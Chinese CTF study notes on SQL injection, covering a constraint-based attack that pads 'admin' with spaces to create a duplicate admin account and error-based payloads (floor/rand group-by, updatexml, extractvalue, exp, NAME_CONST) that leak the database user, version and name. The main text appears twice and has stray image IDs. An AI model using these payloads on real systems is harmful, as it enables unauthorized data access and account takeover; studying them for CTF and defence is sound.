CTF-基于约束的sql攻击

CTF-基于约束的sql攻击


用空格代替空位置,表的字段约束为30个字符,如果插入admin null*30,那么就会重新插入新的记录,此时如果在select就会含有好几个admin用户

报错注入


floor报错

简单的一个公式:

and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)x from information_schema.tables group by x)a);

and (select 1 from (select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2))a)

Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))
a from information_schema.columns group by a;

rand()用于 产生一个0-1的随机数

floor()向下取整

rand()函数生成0-1的函数,使用floor向下取整,值是固定的0,我们将rand*2,得到的值是不固定的,它是0或者1

select count(*) from table1 group by floor(rand()*2)

CTF-基于约束的sql攻击


用空格代替空位置,表的字段约束为30个字符,如果插入admin null*30,那么就会重新插入新的记录,此时如果在select就会含有好几个admin用户

报错注入


floor报错

简单的一个公式:

and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)x from information_schema.tables group by x)a);

Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))
a from information_schema.columns group by a;

rand()用于 产生一个0-1的随机数

floor()向下取整

rand()函数生成0-1的函数,使用floor向下取整,值是固定的0,我们将rand*2,得到的值是不固定的,它是0或者1

select count(*) from table1 group by floor(rand()*2)

select count(*) from table3 group by floor(rand()*2)

报错和表的记录数量有关。加了0 必然报错

计算count(*)的时候,

group by ‘id’根据id的列的进行分组,

1571405037334

1571405116585

1571405242737

updatexml(1,concat(0x7e,(version())),0) 第二个徐娅xpath格式的字符串没输入不符合,但是带出的数据是32位

extractvalue(1,concat(0x7e,(select database()))) and exp(~(select * from (select user())a))

Name_const()具有局限性

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a; 限制很大。


  转载请注明: 星晴 CTF-基于约束的sql攻击

 上一篇
基于时间盲注的部分相关函数 基于时间盲注的部分相关函数
基于时间盲注的部分相关函数 时间盲注的函数 sleep()函数: 如果where 语句一 and sleep(3) 语句一如果成真,那么需要执行后面sleep(),那么会造成延迟,加入语句一是假的,那么就不会运行后面的sleep语句,
2019-10-14 starjian
下一篇 
CTF宽字节注入 CTF宽字节注入
CTF宽字节注入 oxo1 宽字节注入的原理addslashes`函数,会在 单引号 ,双引号,反斜线,NULL字符前面加上一个转义字符反斜杠,那么如何逃逸这个过滤呢? 前面再加一个\,变成 \\',这样的\就会被转义了,’逃出了
2019-10-14 starjian
  目录